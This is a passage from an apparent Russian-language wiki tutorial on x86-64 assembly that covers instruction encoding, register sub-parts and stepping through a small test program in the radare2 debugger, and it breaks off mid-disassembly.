&amp;lt;code&amp;gt;48c7c001000000&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;48c7c101000000&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;48c7c201000000&amp;lt;/code&amp;gt; будут записывать единицу в регистр &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%rcx&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%rdx&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;%rbx&amp;lt;/code&amp;gt; соответственно. Так можно продолжать вплоть до &amp;lt;code&amp;gt;48c7c701000000&amp;lt;/code&amp;gt;, дальше уже будет некорректная инструкция. Это кстати можно видеть в дизасме нашей тестовой программы:&lt;br /&gt;
                                  V&lt;br /&gt;
             0x00400080      48c7c001000000                                                 movq $1, %rax ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c302000000                                                 movq $2, %rbx&lt;br /&gt;
             0x0040008e      48c7c103000000                                                 movq $3, %rcx&lt;br /&gt;
             0x00400095      48c7c204000000                                                 movq $4, %rdx&lt;br /&gt;
                                  ^&lt;br /&gt;
Вот эта самая часть&amp;lt;code&amp;gt;c0&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;c3&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;c1&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;c2&amp;lt;/code&amp;gt;, отвечающая за то, в какой регистр что записать. Для регистров &amp;lt;code&amp;gt;%r8⁠—⁠15&amp;lt;/code&amp;gt; применяется, как нетрудно заметить, немного другие инструкции&lt;br /&gt;
                                  V&lt;br /&gt;
             0x004000b8      49c7c009000000                                                 movq $9, %r8&lt;br /&gt;
             0x004000bf      49c7c10a000000                                                 movq $0xa, %r9&lt;br /&gt;
             0x004000c6      49c7c20b000000                                                 movq $0xb, %r10&lt;br /&gt;
             0x004000cd      49c7c30c000000                                                 movq $0xc, %r11&lt;br /&gt;
             0x004000d4      49c7c40d000000                                                 movq $0xd, %r12&lt;br /&gt;
             0x004000db      49c7c50e000000                                                 movq $0xe, %r13&lt;br /&gt;
             0x004000e2      49c7c60f000000                                                 movq $0xf, %r14&lt;br /&gt;
             0x004000e9      49c7c710000000                                                 movq $0x10, %r15&lt;br /&gt;
                                  ^&lt;br /&gt;
&amp;lt;code&amp;gt;49c7&amp;lt;/code&amp;gt; вместо &amp;lt;code&amp;gt;48c7&amp;lt;/code&amp;gt;, а часть с &amp;lt;code&amp;gt;c0⁠—c7&amp;lt;/code&amp;gt; отвечает за то, в какой из этих &amp;lt;code&amp;gt;%r?&amp;lt;/code&amp;gt; регистров записать число. Но подробно вникать в то, как какая инструкция каким образом кодируется, не нужно практически никогда. Это может быть нужно в случае, если вы пишете свой ассемблер, дизассемблер, делаете JIT компилятор (примечание: можно будет потом написать в книге о том, как это можно сделать) который непосредственно в процессе выполнения программы генерирует машинный код и помещает его в исполняемый регион памяти, пишете компилятор, который сразу же генерирует на выходе двоичный код (а не код на ассемблере, как это делает clang или gcc) или если необходимо сильно запутать код всяким там самомодифицирующимся кодом и прыжками в середину инструкций, усложнив тем самым его анализ. Кстати регистров нам доступно значительно больше, и даже эти регистры, которые мы сейчас рассматриваем, они «составлены» из отдельных кусочков-подрегистров.&lt;br /&gt;
&lt;br /&gt;
{{Доработка&lt;br /&gt;
|reason=«рассмотреть множественность интерпретации (дизассемблирования) определенной последовательности байт»}}&lt;br /&gt;
{|  cellspacing=&amp;quot;0&amp;quot; border=&amp;quot;0&amp;quot;&amp;lt;colgroup span=&amp;quot;10&amp;quot; width=&amp;quot;57&amp;quot;&amp;gt;&amp;lt;/colgroup&amp;gt; &lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot; sdval=&amp;quot;48&amp;quot;  | 48&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot;  | b8&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot;  | 01&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot; sdval=&amp;quot;48&amp;quot;  | 48&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot; sdval=&amp;quot;31&amp;quot;  | 31&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot;  | c0&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot; sdval=&amp;quot;48&amp;quot;  | 48&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot;  | 8d&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot;  | 04&lt;br /&gt;
|  style=&amp;quot;width:50pt; border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FF6600&amp;quot; sdval=&amp;quot;18&amp;quot;  | 18&lt;br /&gt;
|- &lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=10 height=&amp;quot;17&amp;quot; align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | movabsq $0x18048d48c0314801, %rax&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=5 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | movl $0xc0314801, %eax&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=4 rowspan=3 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | leaq (%rax, %rbx), %rax&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=3 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | xorq %rax, %rax&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=2 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | xorl %eax, %eax&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=3 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | addl %ecx, 0x31(%rax)&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=4 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | rorb $4, -0x73(%rax)&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=3 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | leal (%rax, %rbx), %eax&lt;br /&gt;
|- &lt;br /&gt;
|  height=&amp;quot;17&amp;quot; align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  align=&amp;quot;left&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
|  style=&amp;quot;border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000&amp;quot; colspan=2 align=&amp;quot;center&amp;quot; valign=middle bgcolor=&amp;quot;#FFFF00&amp;quot; | addb $0x18, %al&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Если мы запустим нашу программу в отладчике и получим содержимое памяти от 0x00400000 до 0x00400308, то мы фактически получим весь наш ELF файл, который уместился в один сегмент. Конечно это не всегда так, но у нас очень простая программа, и тут это сработает.&lt;br /&gt;
 [0x00400080]&amp;gt;  px 0x308 @ 0x400000&lt;br /&gt;
 - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x00400000  7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............&lt;br /&gt;
 0x00400010  0200 3e00 0100 0000 8000 4000 0000 0000  ..&amp;gt;.......@.....&lt;br /&gt;
 0x00400020  4000 0000 0000 0000 1801 0000 0000 0000  @...............&lt;br /&gt;
 0x00400030  0000 0000 4000 3800 0100 4000 0500 0200  ....@.8...@.....&lt;br /&gt;
 0x00400040  0100 0000 0500 0000 0000 0000 0000 0000  ................&lt;br /&gt;
 ...&lt;br /&gt;
Мы можем даже сохранить (дампнуть) это в бирнарном виде, сделать это можно следующим образом&lt;br /&gt;
 [0x00400080]&amp;gt; y 0x308 @ 0x400000&lt;br /&gt;
 [0x00400080]&amp;gt; yp &amp;gt; outfile.bin&lt;br /&gt;
И если сопоставить получившийся &amp;lt;code&amp;gt;outfile.bin&amp;lt;/code&amp;gt; с нашим &amp;lt;code&amp;gt;test1&amp;lt;/code&amp;gt; то отличий не будут (только в самый конец файла будет добавлен &amp;lt;code&amp;gt;0x0a&amp;lt;/code&amp;gt; байт — перенос строки (newline))&amp;lt;br&amp;gt;&lt;br /&gt;
Можно еще сделать это вот так:&lt;br /&gt;
 [0x00400080]&amp;gt; wt outfile.bin 0x308 @ 0x400000&lt;br /&gt;
 dumped 0x308 bytes&lt;br /&gt;
 Dumped 776 bytes from 0x00400000 into outfile.bin&lt;br /&gt;
тогда переноса строки в конце файла не будет, все будет в точности совпадать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Доработка&lt;br /&gt;
|reason=TODO overload:&lt;br /&gt;
* https://sourceware.org/binutils/docs/ld/Scripts.html)&lt;br /&gt;
&lt;br /&gt;
* адаптировать/перевести материал из http://ocw.cs.pub.ro/courses/cns — там используется x86-32 — необходимо переделать&lt;br /&gt;
&lt;br /&gt;
* Описание регистров взято из википедии https://en.wikipedia.org/wiki/X86#x86_registers — перевести}}&lt;br /&gt;
&lt;br /&gt;
===Регистры===&lt;br /&gt;
[[File:Table of x86 Registers svg.svg|thumb|right|upright=2.1|Таблица x86-регистров.]]&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Регистры общего назначения (A, B, C and D)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 64&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 56&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 48&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 40&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 32&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 24&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;8&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| R?X&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| E?X&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?X&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| style=&amp;quot;text-align:center;&amp;quot;| ?H&lt;br /&gt;
| style=&amp;quot;text-align:center;&amp;quot;| ?L&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ 64-bit mode-only регистры общего назначения (R8, R9, R10, R11, R12, R13, R14, R15)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 64&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 56&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 48&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 40&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 32&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 24&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;8&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?D&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?W&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| style=&amp;quot;text-align:center;&amp;quot;| ?B&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Сегментные регистры (C, D, S, E, F и G)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?S&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Регистры-указатели (S и B)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 64&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 56&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 48&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 40&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 32&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 24&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;8&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| R?P&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center;&amp;quot;|E?P&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;|?P&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| style=&amp;quot;text-align:center;&amp;quot;| ?PL&lt;br /&gt;
|}&lt;br /&gt;
Примечание: ?PL регистры доступны только в 64-bit mode.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Индексные регистры (S и D)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 64&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 56&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 48&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 40&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 32&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 24&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;8&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| R?I&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| E?I&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| ?I&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| style=&amp;quot;text-align:center;&amp;quot;| ?IL&lt;br /&gt;
|}&lt;br /&gt;
Примечание: ?IL регистры доступны только в 64-bit mode.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Instruction Pointer Register (I)&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 64&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 56&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 48&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 40&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 32&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 24&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 16&lt;br /&gt;
! style=&amp;quot;width:50pt;&amp;quot;| 8&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;8&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| RIP&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| EIP&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;6&amp;quot; style=&amp;quot;background:lightgrey&amp;quot; |&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; style=&amp;quot;text-align:center;&amp;quot;| IP&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
В 32-битном режиме работы, 64-битные регистры недоступны, но есть некоторые инструкции, которые могут работать с двумя 32-битными регистрами, рассматривая их как один 64-битный, например инструкция беззнакового умножения http://x86.renejeschke.de/html/file_module_x86_id_210.html. В 64-битном режиме тоже есть инструкции, которые возвращают результат сразу в двух 64-битных регистрах (например инструкция умножения или деления, которая сразу может вернуть и результат деления, и остаток от деления).&lt;br /&gt;
&lt;br /&gt;
Чтобы лучше разобраться с этими кусочками регистров, напишем несколько программ-примеров, которые что-то с этими кусочками делают. Создадим в директории &amp;lt;code&amp;gt;~/learn/asm/01_test/2/&amp;lt;/code&amp;gt; файл &amp;lt;code&amp;gt;test2.s&amp;lt;/code&amp;gt; следующего содержания&lt;br /&gt;
&lt;br /&gt;
 	.section	.text,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
 	.p2align 4,,15&lt;br /&gt;
 	.globl	_start&lt;br /&gt;
 	.type	_start, @function&lt;br /&gt;
 _start:&lt;br /&gt;
 	movabsq $0x1122334455667788, %rax&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 	movb $0xff, %al&lt;br /&gt;
 	inc %al&lt;br /&gt;
 	dec %al&lt;br /&gt;
 	movb $0xab, %al&lt;br /&gt;
 	inc %al&lt;br /&gt;
 	dec %al&lt;br /&gt;
 	&lt;br /&gt;
 	movb $0xff, %ah&lt;br /&gt;
 	inc %ah&lt;br /&gt;
 	dec %ah&lt;br /&gt;
 	movb $0xcd, %ah&lt;br /&gt;
 	inc %ah&lt;br /&gt;
 	dec %ah&lt;br /&gt;
 &lt;br /&gt;
 	movw $0xffff, %ax&lt;br /&gt;
 	inc %ax&lt;br /&gt;
 	dec %ax&lt;br /&gt;
 	movw $0xacbd, %ax&lt;br /&gt;
 &lt;br /&gt;
 	movl $0xaabbccdd, %eax&lt;br /&gt;
 	&lt;br /&gt;
 	movl $0x7fffffff, %eax&lt;br /&gt;
 	inc %eax&lt;br /&gt;
 	dec %eax&lt;br /&gt;
 	movl $0x80000000, %eax&lt;br /&gt;
 	dec %eax&lt;br /&gt;
 	inc %eax&lt;br /&gt;
 	movl $0xffffffff, %eax&lt;br /&gt;
 	inc %eax&lt;br /&gt;
 	dec %eax&lt;br /&gt;
 	&lt;br /&gt;
 	movq $0xffffffffffffffff, %rax&lt;br /&gt;
 	inc %eax&lt;br /&gt;
 	dec %eax&lt;br /&gt;
 	&lt;br /&gt;
 	movq $0xffffffffffffffff, %rax&lt;br /&gt;
 	inc %rax&lt;br /&gt;
 	dec %rax&lt;br /&gt;
 	&lt;br /&gt;
 	movq $0xffffffffffffffff, %rax&lt;br /&gt;
 	movabsq $0xffffffffffffffff, %rax&lt;br /&gt;
 	ud2&lt;br /&gt;
 	.size	_start, .-_start&lt;br /&gt;
&lt;br /&gt;
Соберем его уже знакомым нам способом.&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/2$ as test2.s -o test2.o&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/2$ ld test2.o -o test2&lt;br /&gt;
Между прочим, можно создать скрипт, который будет это делать сам. Но к этой теме мы вернемся несколько позже. Сейчас же давайте запустим получившийся исполняемый файл в отладичке radare2 и перейдем в визуальный режим.&lt;br /&gt;
&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/2$ r2 -d test2&lt;br /&gt;
 Process with PID 960 started...&lt;br /&gt;
 attach 960 960&lt;br /&gt;
 bin.baddr 0x00400000&lt;br /&gt;
 Assuming filepath ./test2&lt;br /&gt;
 Warning: Cannot initialize dynamic strings&lt;br /&gt;
 Warning: Too big version info field 3 (496)&lt;br /&gt;
 asm.bits 64&lt;br /&gt;
  -- In Soviet Russia, radare2 has documentation.&lt;br /&gt;
 [0x00400080]&amp;gt; V&lt;br /&gt;
Может потребоваться так же переключить отображения синтаксиса ассемблера в att: &amp;lt;code&amp;gt;e asm.syntax=att&amp;lt;/code&amp;gt; и длину отображение инструкций &amp;lt;code&amp;gt;e asm.nbytes=30&amp;lt;/code&amp;gt; если это не было сделано ранее в rc файле  &amp;lt;code&amp;gt;~/.radare2rc&amp;lt;/code&amp;gt; (о чем было ранее сказано). Потом нажимаем букву &amp;lt;code&amp;gt;p&amp;lt;/code&amp;gt; в английской раскладке на клавиатуре, пока не перейдем к такому виду:&lt;br /&gt;
&lt;br /&gt;
  [0x00400080 265 ./test2]&amp;gt; ?0;f tmp;s.. @ entry0&lt;br /&gt;
 - offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x7ffdd38518f0  0100 0000 0000 0000 0727 85d3 fd7f 0000  .........'......&lt;br /&gt;
 0x7ffdd3851900  0000 0000 0000 0000 0f27 85d3 fd7f 0000  .........'......&lt;br /&gt;
 0x7ffdd3851910  4927 85d3 fd7f 0000 5427 85d3 fd7f 0000  I'......T'......&lt;br /&gt;
 0x7ffdd3851920  7927 85d3 fd7f 0000 8b27 85d3 fd7f 0000  y'.......'......&lt;br /&gt;
 orax 0x0000003b           rax 0x00000000           rbx 0x00000000&lt;br /&gt;
  rcx 0x00000000           rdx 0x00000000            r8 0x00000000&lt;br /&gt;
   r9 0x00000000           r10 0x00000000           r11 0x00000000&lt;br /&gt;
  r12 0x00000000           r13 0x00000000           r14 0x00000000&lt;br /&gt;
  r15 0x00000000           rsi 0x00000000           rdi 0x00000000&lt;br /&gt;
  rsp 0x7ffdd38518f0       rbp 0x00000000           rip 0x00400080&lt;br /&gt;
  rflags I&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48b88877665544332211                                           movabsq $0x1122334455667788, %rax ; [1] va=0x00400080 pa=0x00000080 sz=123 vsz=123 rwx=--r-x .text&lt;br /&gt;
             0x0040008a      b0ff                                                           movb $0xff, %al ; 255&lt;br /&gt;
             0x0040008c      fec0                                                           incb %al&lt;br /&gt;
             0x0040008e      fec8                                                           decb %al&lt;br /&gt;
             0x00400090      b0ab                                                           movb $0xab, %al ; 171&lt;br /&gt;
             0x00400092      fec0                                                           incb %al&lt;br /&gt;
             0x00400094      fec8                                                           decb %al&lt;br /&gt;
             0x00400096      b4ff                                                           movb $0xff, %ah ; 255&lt;br /&gt;
             0x00400098      fec4                                                           incb %ah&lt;br /&gt;
